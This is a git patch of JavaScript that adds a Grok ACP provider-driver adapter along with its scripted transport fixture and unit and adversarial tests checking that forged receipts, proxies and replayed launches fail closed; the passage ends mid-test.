+ } catch (error) { + const blocked = driverResult('preflight', identity, 'blocked', { + detail_code: 'transport_unavailable', + detail_message: boundedDiagnosticMessage('transport_unavailable', + 'Grok ACP preflight failed before any session was spawned.'), + }); + putLane(store, identity, { state: 'blocked', model: identity.model }); + void error; + return blocked; + } + assertClosedReceipt(receipt, PREFLIGHT_RECEIPT_KEYS, 'transport.preflight.result'); + assertReceiptIdentity(receipt, identity, 'transport.preflight.result'); + const ok = optOwn(receipt, 'ok'); + if (ok === true) { + if (hasOwn(receipt, 'detail_code') || hasOwn(receipt, 'detail_message')) { + fail('detail_pair_denied', 'transport.preflight.result.detail_code', + 'A ready Grok preflight receipt must not carry a detail pair.'); + } + putLane(store, identity, { state: 'ready', model: identity.model }); + return driverResult('preflight', identity, 'ready'); + } + if (ok !== false) { + fail('malformed_receipt', 'transport.preflight.result.ok', + 'transport.preflight.result.ok must be an exact boolean.'); + } + const detail = assertDetailPair(receipt, 'transport.preflight.result'); + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', detail); +} + +function markUncertain(store, identity, extras = {}) { + putLane(store, identity, { + state: 'dispatch_uncertain', + model: identity.model, + session_id: extras.session_id, + request_id: extras.request_id, + spawned: true, + dispatch_intent: true, + }); + return driverResult('launch', identity, 'dispatch_uncertain'); +} + +function runLaunch(store, request) { + const view = validateDriverLaunchRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + assertLaneIdentity(prior, identity, 'driver.launch.request'); + if (prior === undefined || (prior.state !== 'ready' && prior.state !== 'not_sent')) { + if (prior !== undefined && prior.spawned === true) { + fail('replay_denied', 'driver.launch.request', + 'A previous Grok launch may have sent the prompt; the lane is never replayed or fallback-substituted.'); + } + fail('not_preflighted', 'driver.launch.request', + 'Launch requires a prior preflight:ready result for this exact Grok child identity.'); + } + if (prior.state === 'blocked') { + fail('blocked_lane_denied', 'driver.launch.request', + 'A blocked Grok preflight cannot launch; the lane fails closed with no fallback.'); + } + + let sessionId; + let spawnReturned = false; + try { + const spawnRequest = transportIdentityRequest(identity); + assertNoContentKeys(spawnRequest, 'grok_acp_transport.spawn.request'); + const spawned = callTransport(store, 'spawn', spawnRequest); + spawnReturned = true; + assertClosedReceipt(spawned, SPAWN_RECEIPT_KEYS, 'transport.spawn.result'); + if (optOwn(spawned, 'spawned') !== true) { + fail('malformed_receipt', 'transport.spawn.result.spawned', + 'transport.spawn.result.spawned must be exactly true.'); + } + assertReceiptIdentity(spawned, identity, 'transport.spawn.result'); + sessionId = assertPatternedId( + optOwn(spawned, 'session_id'), GROK_ACP_SESSION_ID_PATTERN, 'transport.spawn.result.session_id', 'session_id', + ); + } catch (error) { + if (spawnReturned || isPostSpawnFailure(error)) { + return markUncertain(store, identity); + } + putLane(store, identity, { state: 'not_sent', model: identity.model }); + return driverResult('launch', identity, 'not_sent', { + detail_code: typeof error?.code === 'string' && capturedTest(DETAIL_CODE_PATTERN, error.code) + ? error.code : 'spawn_failed', + detail_message: boundedDiagnosticMessage('spawn_failed', + 'Grok ACP spawn failed before a session existed; no prompt was dispatched.'), + }); + } + + putLane(store, identity, { + state: 'spawned', + model: identity.model, + session_id: sessionId, + spawned: true, + dispatch_intent: true, + }); + + const requestId = dispatchRequestId(identity, sessionId); + try { + const dispatchRequest = detachFrozenJson({ + ...transportIdentityRequest(identity, { session_id: sessionId, request_id: requestId }), + envelope_text: view.request.envelope_text, + }); + const ack = callTransport(store, 'dispatch', dispatchRequest); + assertClosedReceipt(ack, DISPATCH_RECEIPT_KEYS, 'transport.dispatch.result'); + if (optOwn(ack, 'acknowledged') !== true) { + return markUncertain(store, identity, { session_id: sessionId, request_id: requestId }); + } + assertReceiptIdentity(ack, identity, 'transport.dispatch.result'); + const ackSession = assertPatternedId( + optOwn(ack, 'session_id'), GROK_ACP_SESSION_ID_PATTERN, 'transport.dispatch.result.session_id', 'session_id', + ); + if (ackSession !== sessionId) { + fail('stale_identity_denied', 'transport.dispatch.result.session_id', + 'Dispatch acknowledgement session_id must match the spawned Grok ACP session.'); + } + const ackRequestId = assertPatternedId( + optOwn(ack, 'request_id'), GROK_ACP_REQUEST_ID_PATTERN, 'transport.dispatch.result.request_id', 'request_id', + ); + if (ackRequestId !== requestId) { + fail('stale_identity_denied', 'transport.dispatch.result.request_id', + 'Dispatch acknowledgement request_id must match the exact dispatch attempt.'); + } + putLane(store, identity, { + state: 'dispatched', + model: identity.model, + session_id: sessionId, + request_id: requestId, + spawned: true, + dispatch_intent: true, + acknowledged: true, + }); + return driverResult('launch', identity, 'dispatched'); + } catch (error) { + void error; + return markUncertain(store, identity, { session_id: sessionId, request_id: requestId }); + } +} + +function observeLane(store, identity, record, include) { + const extras = { include: [...include] }; + if (record.session_id !== undefined) extras.session_id = record.session_id; + if (record.request_id !== undefined) extras.request_id = record.request_id; + const observeRequest = transportIdentityRequest(identity, extras); + assertNoContentKeys(observeRequest, 'grok_acp_transport.observe.request'); + const receipt = callTransport(store, 'observe', observeRequest); + assertClosedReceipt(receipt, OBSERVE_RECEIPT_KEYS, 'transport.observe.result'); + assertReceiptIdentity(receipt, identity, 'transport.observe.result'); + const sessionId = assertPatternedId( + optOwn(receipt, 'session_id'), GROK_ACP_SESSION_ID_PATTERN, 'transport.observe.result.session_id', 'session_id', + ); + if (record.session_id !== undefined && sessionId !== record.session_id) { + fail('stale_identity_denied', 'transport.observe.result.session_id', + 'Observed session_id does not match the spawned Grok ACP session.'); + } + const status = optOwn(receipt, 'status'); + if (!capturedIncludes(GROK_ACP_OBSERVE_STATUSES, status)) { + fail('invalid_format', 'transport.observe.result.status', + `transport.observe.result.status must be one of ${capturedJoin(GROK_ACP_OBSERVE_STATUSES, ', ')}.`); + } + if (hasOwn(receipt, 'elapsed_ms')) { + const elapsed = optOwn(receipt, 'elapsed_ms'); + if (!Number.isSafeInteger(elapsed) || elapsed < 0 || elapsed > MAX_GROK_ACP_TIMING_MS) { + fail('invalid_format', 'transport.observe.result.elapsed_ms', + 'elapsed_ms must be a bounded millisecond timing.'); + } + } + if (hasOwn(receipt, 'event_count')) { + const count = optOwn(receipt, 'event_count'); + if (!Number.isSafeInteger(count) || count < 0 || count > MAX_GROK_ACP_EVENT_COUNT) { + fail('invalid_format', 'transport.observe.result.event_count', + 'event_count must be a bounded integer count.'); + } + } + const evidence = projectEvidence(receipt, include, identity, sessionId); + if (status === 'needs_attention' && evidence.attention === undefined) { + fail('capability_reply_mismatch', 'transport.observe.result.attention', + 'Grok ACP needs_attention requires the exact live session_id and question_id; silent unanswerable attention is denied.'); + } + return capturedFreeze({ receipt, sessionId, status, evidence }); +} + +function reconcileDisposition(status) { + if (status === 'needs_attention') return 'unresolved_attention'; + if (status === 'lost') return 'dispatch_uncertain'; + if (capturedIncludes(TERMINAL_OBSERVE_STATUSES, status)) return 'terminal'; + return 'in_progress'; +} + +function runReconcile(store, request) { + const view = validateDriverReconcileRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + if (prior === undefined || prior.spawned !== true) { + fail('not_dispatched', 'driver.reconcile.request', + 'Reconcile addresses an existing Grok dispatch; this child has no launch observation.'); + } + assertLaneIdentity(prior, identity, 'driver.reconcile.request'); + const include = view.include ?? capturedFreeze([]); + + if (view.intent === 'restart_reattach') { + const reattachRequest = transportIdentityRequest(identity, { + session_id: prior.session_id, + request_id: prior.request_id, + }); + assertNoContentKeys(reattachRequest, 'grok_acp_transport.reattach.request'); + const reattached = callTransport(store, 'reattach', reattachRequest); + assertClosedReceipt(reattached, REATTACH_RECEIPT_KEYS, 'transport.reattach.result'); + if (optOwn(reattached, 'reattached') !== true) { + fail('stale_identity_denied', 'transport.reattach.result.reattached', + 'restart_reattach recovered no live Grok ACP session; the lane fails closed and is never relaunched.'); + } + assertReceiptIdentity(reattached, identity, 'transport.reattach.result'); + const sessionId = assertPatternedId( + optOwn(reattached, 'session_id'), GROK_ACP_SESSION_ID_PATTERN, 'transport.reattach.result.session_id', 'session_id', + ); + if (prior.session_id !== undefined && sessionId !== prior.session_id) { + fail('stale_identity_denied', 'transport.reattach.result.session_id', + 'Reattached session_id does not match the spawned Grok ACP session.'); + } + putLane(store, identity, { ...prior, session_id: sessionId, reattached: true }); + } + + const observed = observeLane(store, identity, getLane(store, identity), include); + const disposition = prior.state === 'dispatch_uncertain' && observed.status === 'lost' + ? 'dispatch_uncertain' + : reconcileDisposition(observed.status); + const nextState = disposition === 'unresolved_attention' ? 'unresolved_attention' + : disposition === 'terminal' ? 'terminal' + : disposition === 'dispatch_uncertain' ? 'dispatch_uncertain' + : 'in_progress'; + putLane(store, identity, { + ...getLane(store, identity), + state: nextState, + evidence: observed.evidence, + last_status: observed.status, + session_id: observed.sessionId, + }); + return driverResult('reconcile', identity, disposition); +} + +function runCancel(store, request) { + const view = validateDriverCancelRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + if (prior === undefined || prior.spawned !== true) { + fail('not_dispatched', 'driver.cancel.request', + 'Cancel addresses an existing Grok dispatch; this child has no launch observation.'); + } + assertLaneIdentity(prior, identity, 'driver.cancel.request'); + if (prior.state === 'terminal' || prior.last_status !== undefined + && capturedIncludes(TERMINAL_OBSERVE_STATUSES, prior.last_status)) { + putLane(store, identity, { ...prior, state: 'already_terminal' }); + return driverResult('cancel', identity, 'already_terminal'); + } + const cancelRequest = transportIdentityRequest(identity, { + session_id: prior.session_id, + request_id: prior.request_id, + }); + assertNoContentKeys(cancelRequest, 'grok_acp_transport.cancel.request'); + const receipt = callTransport(store, 'cancel', cancelRequest); + assertClosedReceipt(receipt, CANCEL_RECEIPT_KEYS, 'transport.cancel.result'); + assertReceiptIdentity(receipt, identity, 'transport.cancel.result'); + if (prior.session_id !== undefined) { + const sessionId = assertPatternedId( + optOwn(receipt, 'session_id'), GROK_ACP_SESSION_ID_PATTERN, 'transport.cancel.result.session_id', 'session_id', + ); + if (sessionId !== prior.session_id) { + fail('stale_identity_denied', 'transport.cancel.result.session_id', + 'Cancel confirmation session_id must match the live Grok ACP session.'); + } + } + const outcome = optOwn(receipt, 'outcome'); + if (!capturedIncludes(GROK_ACP_CANCEL_OUTCOMES, outcome)) { + fail('invalid_format', 'transport.cancel.result.outcome', + `transport.cancel.result.outcome must be one of ${capturedJoin(GROK_ACP_CANCEL_OUTCOMES, ', ')}.`); + } + putLane(store, identity, { ...prior, state: outcome, cancel_outcome: outcome }); + return driverResult('cancel', identity, outcome); +} + +export function createGrokAcpDriverV1(transport) { + assertGrokAcpTransportV1(transport); + const handlers = capturedCreate(null); + for (const operation of GROK_ACP_TRANSPORT_OPERATIONS) { + const handler = capturedDescriptor(transport, operation)?.value; + capturedDefineProperty(handlers, operation, { + value: handler, + enumerable: true, + configurable: false, + writable: false, + }); + } + OBJECT_FREEZE(handlers); + const store = { + transport, + handlers, + lanes: new MAP_CTOR(), + }; + const driver = capturedCreate(null); + capturedDefineProperty(driver, 'preflight', { + value: (request) => runPreflight(store, request), + enumerable: true, configurable: false, writable: false, + }); + capturedDefineProperty(driver, 'launch', { + value: (request) => runLaunch(store, request), + enumerable: true, configurable: false, writable: false, + }); + capturedDefineProperty(driver, 'reconcile', { + value: (request) => runReconcile(store, request), + enumerable: true, configurable: false, writable: false, + }); + capturedDefineProperty(driver, 'cancel', { + value: (request) => runCancel(store, request), + enumerable: true, configurable: false, writable: false, + }); + OBJECT_FREEZE(driver); + DRIVER_STORES.set(driver, store); + assertProviderDriverV1(driver); + return driver; +} + +export function bindGrokAcpDriverV1(transport) { + const driver = createGrokAcpDriverV1(transport); + const bound = bindProviderDriverV1(driver, grokAcpDriverDeclarationV1()); + DRIVER_STORES.set(bound, DRIVER_STORES.get(driver)); + return bound; +} + +export function inspectGrokAcpLaneEvidenceV1(driver, query) { + const path = 'grok_acp_evidence.query'; + if (query === undefined || query === null) { + fail('invalid_type', path, `${path} must be a plain evidence query object.`); + } + assertDirectJsonClosure(query, path); + assertPlainObject(query, 'invalid_type', path, path); + assertAllowedKeys(query, EVIDENCE_QUERY_KEYS, path); + for (const key of ['run_id', 'assignment_id', 'child_envelope_digest']) { + if (!hasOwn(query, key)) fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + const digest = assertDigest(optOwn(query, 'child_envelope_digest'), `${path}.child_envelope_digest`); + if (hasOwn(query, 'cursor')) { + assertPatternedId(optOwn(query, 'cursor'), GROK_ACP_CURSOR_PATTERN, `${path}.cursor`, 'event cursor'); + } + const store = storeFor(driver); + const record = store.lanes.get(laneKey(optOwn(query, 'run_id'), optOwn(query, 'assignment_id'))); + if (record === undefined || !digestsEqual(record.identity.child_envelope_digest, digest)) { + fail('stale_identity_denied', path, + 'No Grok ACP evidence is stored for this exact child identity.'); + } + if (record.evidence === undefined) { + return freezeData({ + schema: GROK_ACP_EVIDENCE_SCHEMA_ID, + run_id: record.identity.run_id, + assignment_id: record.identity.assignment_id, + child_envelope_digest: record.identity.child_envelope_digest, + session_id: record.session_id ?? null, + events: capturedFreeze([]), + evidence_truncated: false, + }); + } + return record.evidence; +} + +export function describeGrokAcpAdapterSurfaceV1() { + const declaration = grokAcpDriverDeclarationV1(); + return capturedFreeze({ + schema: GROK_ACP_DRIVER_SCHEMA_ID, + provider: GROK_PROVIDER_SLOT, + agent: GROK_ACP_AGENT, + driver_operations: capturedFreeze([...DRIVER_OPERATIONS]), + transport_schema: GROK_ACP_TRANSPORT_SCHEMA_ID, + transport_operations: capturedFreeze([...GROK_ACP_TRANSPORT_OPERATIONS]), + capability: declaration.capability, + features: declaration.features, + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + merge_authority: 'none_codex_only_integration', + create_pr_posture: 'prohibited', + confirmation_rule: 'launch_dispatched_only_after_authoritative_acp_ack', + post_spawn_loss_rule: 'exception_timeout_or_loss_returns_dispatch_uncertain_never_replayed', + live_qualification: false, + durable_store: false, + supervisor_cutover: false, + bounds: capturedFreeze({ + event_page: MAX_GROK_ACP_EVENT_PAGE, + event_text_bytes: MAX_GROK_ACP_EVENT_TEXT_BYTES, + event_bytes: MAX_GROK_ACP_EVENT_BYTES, + event_depth: MAX_GROK_ACP_EVENT_DEPTH, + event_items: MAX_GROK_ACP_EVENT_ITEMS, + evidence_bytes: MAX_GROK_ACP_EVIDENCE_BYTES, + attention_prompt_bytes: MAX_GROK_ACP_ATTENTION_PROMPT_BYTES, + timing_ms: MAX_GROK_ACP_TIMING_MS, + cursor_pattern: GROK_ACP_CURSOR_PATTERN.source, + }), + identities: capturedFreeze([ + 'provider', 'model', 'run_id', 'assignment_id', 'lane_index', 'base_sha', + 'child_envelope_digest', 'session_id', 'request_id', 'repository_path', + 'workspace_semantics', 'workspace_starting_point', + ]), + later_real_grok_acp_route: capturedFreeze({ + preflight: 'probe grok-build ACP without spawning a prompt session', + spawn: 'ensureSession({ agent: grok-build, mode: persistent, cwd: managed worktree at run_base_sha })', + dispatch: 'startTurn with exact ChildEnvelopeV1 text; treat as dispatched only after ACP acknowledgement', + observe: 'page turn.events / live progress with the closed caps; never copy envelope bytes into diagnostics', + cancel: 'turn.cancel and wait for cancellation confirmation', + reattach: 'ensureSession resume of the persisted ACP session identity with no new prompt', + forbidden: capturedFreeze([ + 'cli_fallback_after_spawn', 'digest_only_launch', 'direct_mode', 'merge_or_create_pr', + 'post_spawn_retry', 'provider_or_model_substitution', + ]), + }), + feature_values: DRIVER_FEATURE_VALUES, + }); +} + +capturedFreeze(assertGrokAcpTransportV1); +capturedFreeze(createGrokAcpDriverV1); +capturedFreeze(bindGrokAcpDriverV1); +capturedFreeze(inspectGrokAcpLaneEvidenceV1); +capturedFreeze(describeGrokAcpAdapterSurfaceV1); +capturedFreeze(grokAcpDriverDeclarationV1); From 08d533c3d6093d4988eda8c636f6dd6116bdc758 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 20:14:12 +0000 Subject: [PATCH 025/151] test(grok): cover injected Grok ACP transport sequences Prove pre-spawn failure versus post-spawn uncertainty, acknowledgement, duplicate launch, attention/reply identity, cancellation races, restart reattach, event/cursor bounds, malformed and forged receipts, and hostile direct-JS inputs without a live Grok client. --- .../test/fixtures/r1-grok-acp-transport.mjs | 174 ++++++++ .../r1-grok-acp-driver-adversarial.test.mjs | 391 +++++++++++++++++ .../test/r1-grok-acp-driver.test.mjs | 407 ++++++++++++++++++ 3 files changed, 972 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-grok-acp-transport.mjs create mode 100644 plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-grok-acp-transport.mjs b/plugins/codex-co-engineer/test/fixtures/r1-grok-acp-transport.mjs new file mode 100644 index 0000000..ce8aebf --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-grok-acp-transport.mjs @@ -0,0 +1,174 @@ +// Deterministic injected Grok ACP transport for P18 tests. +// Records closed operation requests and plays scripted receipts or failures. +// This is not a live Grok client. + +import { RunContractV1Error } from '../../mcp/v3/run-manifest.mjs'; +import { childEnvelopeDigestV1 } from '../../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../../mcp/v3/prompt-compiler.mjs'; + +export const GROK_FIXTURE_BASE_SHA = 'b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1'; +export const GROK_FIXTURE_REPOSITORY_PATH = '/opt/codex-co-engineer-grok-acp/suite'; +export const GROK_FIXTURE_RUN_ID = 'grok-acp-driver-suite'; +export const GROK_FIXTURE_ASSIGNMENT_ID = 'grok-lane'; +export const GROK_FIXTURE_MODEL = 'grok-4'; +export const GROK_FIXTURE_SESSION_ID = 'sess-grok-acp-1'; + +export function buildGrokDriverFixtureV1(overrides = {}) { + const assignment = { + assignment_id: GROK_FIXTURE_ASSIGNMENT_ID, + role: 'implement', + access: 'writer', + prompt: 'Implement the Grok ACP lane exactly as instructed by the envelope.', + execution: { provider: 'grok', model: GROK_FIXTURE_MODEL }, + write_scope: ['mcp/**'], + acceptance: [{ command_id: 'unit-tests', timeout_ms: 600_000 }], + expected_duration_ms: 1_200_000, + required_evidence: ['provider_report', 'git_diff'], + ...overrides.assignment, + }; + const manifest = Object.freeze({ + schema: 'codex-co-engineer.run.v1', + run_id: GROK_FIXTURE_RUN_ID, + repository: Object.freeze({ + path: GROK_FIXTURE_REPOSITORY_PATH, + base_sha: GROK_FIXTURE_BASE_SHA, + }), + objective: 'Exercise the Grok ACP ProviderDriverV1 adapter end to end.', + assignments: Object.freeze([Object.freeze(assignment)]), + policy: Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', + }), + return_contract: Object.freeze({ mode: 'verified_decision', include_artifact_refs: true }), + ...overrides.manifest, + }); + const envelope = compileChildEnvelopeV1(manifest, GROK_FIXTURE_ASSIGNMENT_ID); + return Object.freeze({ + manifest, + envelope, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + model: envelope.execution.model, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }); +} + +function identityFromRequest(request) { + return { + provider: request.provider, + model: request.model, + run_id: request.run_id, + assignment_id: request.assignment_id, + lane_index: request.lane_index, + base_sha: request.base_sha, + child_envelope_digest: request.child_envelope_digest, + repository_path: request.repository_path, + }; +} + +function takeScripted(script, name) { + const value = script[name]; + if (Array.isArray(value)) { + if (value.length === 0) return { kind: 'default' }; + return { kind: 'item', value: value.shift() }; + } + if (value === undefined) return { kind: 'default' }; + return { kind: 'item', value }; +} + +function asError(value) { + if (value instanceof Error) return value; + const error = new RunContractV1Error( + value.code ?? 'transport_exception', + value.path ?? 'grok_acp_transport', + value.message ?? 'Scripted Grok ACP transport failure.', + ); + if (value.spawned === true) error.spawned = true; + return error; +} + +const TRANSPORT_CALLS = new WeakMap(); + +export function createScriptedGrokAcpTransportV1(script = {}) { + const calls = []; + let sessionId = script.session_id ?? GROK_FIXTURE_SESSION_ID; + let requestId; + + function record(operation, request) { + calls.push({ operation, request }); + } + + function play(name, request, buildDefault) { + record(name, request); + const next = takeScripted(script, name); + if (next.kind === 'default') return buildDefault(); + const value = next.value; + if (typeof value === 'function') return value(request, { sessionId, requestId, calls }); + if (value === 'default') return buildDefault(); + if (value?.throw) throw asError(value.throw); + if (value?.fail) throw asError(value.fail); + return value; + } + + const transport = { + preflight: (request) => play('preflight', request, () => ({ + ok: true, + ...identityFromRequest(request), + })), + spawn: (request) => play('spawn', request, () => ({ + spawned: true, + session_id: sessionId, + ...identityFromRequest(request), + })), + dispatch: (request) => play('dispatch', request, () => { + requestId = request.request_id; + sessionId = request.session_id ?? sessionId; + return { + acknowledged: true, + session_id: sessionId, + request_id: requestId, + provider: request.provider, + model: request.model, + run_id: request.run_id, + assignment_id: request.assignment_id, + lane_index: request.lane_index, + base_sha: request.base_sha, + child_envelope_digest: request.child_envelope_digest, + }; + }), + observe: (request) => play('observe', request, () => ({ + session_id: request.session_id ?? sessionId, + status: 'completed', + ...identityFromRequest(request), + })), + cancel: (request) => play('cancel', request, () => ({ + outcome: 'cancel_confirmed', + session_id: request.session_id ?? sessionId, + ...identityFromRequest(request), + })), + reattach: (request) => play('reattach', request, () => ({ + reattached: true, + session_id: request.session_id ?? sessionId, + ...identityFromRequest(request), + })), + }; + TRANSPORT_CALLS.set(transport, calls); + return transport; +} + +export function grokAcpTransportCalls(transport) { + return TRANSPORT_CALLS.get(transport) ?? []; +} + +export function grokAcpCallsOf(transport, operation) { + return grokAcpTransportCalls(transport).filter((entry) => entry.operation === operation); +} diff --git a/plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs new file mode 100644 index 0000000..34631b5 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs @@ -0,0 +1,391 @@ +// Adversarial tests for the P18 Grok ACP adapter: malformed and +// provider-forged receipts, hostile direct-JS inputs, content leaking into +// diagnostics, and post-spawn replay. Injected transport only. + +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { + DRIVER_OPERATION_SCHEMA_IDS, + PROVIDER_DRIVER_VERSION, + buildDriverOperationRequestV1, + validateDriverLaunchRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { + GROK_ACP_TRANSPORT_OPERATIONS, + MAX_GROK_ACP_EVENT_TEXT_BYTES, + MAX_GROK_ACP_TIMING_MS, + assertGrokAcpTransportV1, + bindGrokAcpDriverV1, + createGrokAcpDriverV1, + grokAcpDriverDeclarationV1, + inspectGrokAcpLaneEvidenceV1, +} from '../mcp/v3/grok-acp-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + GROK_FIXTURE_MODEL, + GROK_FIXTURE_SESSION_ID, + buildGrokDriverFixtureV1, + createScriptedGrokAcpTransportV1, + grokAcpCallsOf, +} from './fixtures/r1-grok-acp-transport.mjs'; + +const fixture = buildGrokDriverFixtureV1(); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); +} + +function requestFor(operation, extras = {}) { + return buildDriverOperationRequestV1(operation, fixture.envelope, extras); +} + +function identityFields() { + return { + provider: 'grok', + model: GROK_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + }; +} + +function launchBound(script = {}) { + const transport = createScriptedGrokAcpTransportV1(script); + const driver = bindGrokAcpDriverV1(transport); + driver.preflight(requestFor('preflight')); + return { driver, transport }; +} + +test('live and revoked proxies are denied with zero traps', () => { + const live = countingProxy(createScriptedGrokAcpTransportV1()); + const liveError = errorOf(() => assertGrokAcpTransportV1(live.proxy)); + assert.equal(liveError.code, 'proxy_denied'); + assert.equal(trapTotal(live.counts), 0); + + const { proxy, revoke } = Proxy.revocable(createScriptedGrokAcpTransportV1(), { + get() { throw new Error('revoked getter ran'); }, + }); + revoke(); + assert.equal(errorOf(() => assertGrokAcpTransportV1(proxy)).code, 'proxy_denied'); + + const declarationProxy = countingProxy(grokAcpDriverDeclarationV1()); + assert.equal( + errorOf(() => inspectGrokAcpLaneEvidenceV1(bindGrokAcpDriverV1(createScriptedGrokAcpTransportV1()), declarationProxy.proxy)).code, + 'proxy_denied', + ); + assert.equal(trapTotal(declarationProxy.counts), 0); +}); + +test('hostile transport surfaces fail closed', () => { + expectCode(() => assertGrokAcpTransportV1({ ...createScriptedGrokAcpTransportV1(), retry: () => ({}) }), + 'invalid_surface'); + const incomplete = { ...createScriptedGrokAcpTransportV1() }; + delete incomplete.reattach; + expectCode(() => assertGrokAcpTransportV1(incomplete), 'invalid_surface'); + expectCode(() => assertGrokAcpTransportV1({ ...createScriptedGrokAcpTransportV1(), spawn: 1 }), + 'invalid_operation'); + class TransportClass {} + expectCode( + () => assertGrokAcpTransportV1(Object.assign(new TransportClass(), createScriptedGrokAcpTransportV1())), + 'exotic_prototype_denied', + ); + const accessor = {}; + Object.defineProperty(accessor, 'preflight', { enumerable: true, get: () => () => ({}) }); + for (const operation of GROK_ACP_TRANSPORT_OPERATIONS) { + if (operation === 'preflight') continue; + accessor[operation] = () => ({}); + } + expectCode(() => assertGrokAcpTransportV1(accessor), 'invalid_object'); +}); + +test('getter and own-undefined driver requests never invoke accessors', () => { + let reads = 0; + const getterRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + Object.defineProperty(getterRequest, 'version', { + enumerable: true, + get() { + reads += 1; + return 1; + }, + }); + assert.equal(errorOf(() => validateDriverLaunchRequestV1(getterRequest)).code, 'accessor_property_denied'); + assert.equal(reads, 0); + + const undefinedRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: undefined, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + assert.equal(errorOf(() => validateDriverLaunchRequestV1(undefinedRequest)).code, 'own_undefined_denied'); + + expectCode(() => validateDriverLaunchRequestV1(new Proxy(requestFor('launch'), {})), 'proxy_denied'); +}); + +test('malformed spawn receipts after a returned call are uncertain, not dispatched', () => { + const transport = createScriptedGrokAcpTransportV1({ + spawn: { spawned: true, session_id: '!!!', ...identityFields() }, + }); + const driver = bindGrokAcpDriverV1(transport); + driver.preflight(requestFor('preflight')); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'dispatch_uncertain'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 0); +}); + +test('provider-forged dispatch acknowledgements are never treated as dispatched', () => { + const cases = [ + { model: 'grok-code-fast-1' }, + { provider: 'dsh' }, + { run_id: 'other-run' }, + { child_envelope_digest: '0'.repeat(64) }, + { session_id: 'sess-forged' }, + { request_id: 'forged-request' }, + ]; + for (const forge of cases) { + const transport = createScriptedGrokAcpTransportV1({ + dispatch: (request) => ({ + acknowledged: true, + session_id: request.session_id, + request_id: request.request_id, + ...identityFields(), + ...forge, + }), + }); + const driver = bindGrokAcpDriverV1(transport); + driver.preflight(requestFor('preflight')); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'dispatch_uncertain', JSON.stringify(forge)); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); + } +}); + +test('forged observe, cancel, and reattach identities fail closed', () => { + const { driver } = launchBound({ + observe: { status: 'running', session_id: 'sess-other', ...identityFields() }, + }); + driver.launch(requestFor('launch')); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'stale_identity_denied'); + + const cancelForge = launchBound({ + cancel: { outcome: 'cancel_confirmed', session_id: 'sess-other', ...identityFields() }, + }); + cancelForge.driver.launch(requestFor('launch')); + expectCode(() => cancelForge.driver.cancel(requestFor('cancel')), 'stale_identity_denied'); + + const reattachForge = launchBound({ + reattach: { reattached: true, session_id: 'sess-other', ...identityFields() }, + }); + reattachForge.driver.launch(requestFor('launch')); + expectCode( + () => reattachForge.driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + 'stale_identity_denied', + ); +}); + +test('malformed observe receipts fail closed and do not copy content into the driver result', () => { + const extraKey = launchBound({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + envelope_text: fixture.envelope_text, + ...identityFields(), + }, + }); + extraKey.driver.launch(requestFor('launch')); + expectCode(() => extraKey.driver.reconcile(requestFor('reconcile')), 'unknown_key'); + + const fallbackKey = launchBound({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + fallback: true, + ...identityFields(), + }, + }); + fallbackKey.driver.launch(requestFor('launch')); + expectCode(() => fallbackKey.driver.reconcile(requestFor('reconcile')), 'replay_or_fallback_denied'); + + const badCursor = launchBound({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + cursor: 'not-a-cursor', + ...identityFields(), + }, + }); + badCursor.driver.launch(requestFor('launch')); + expectCode(() => 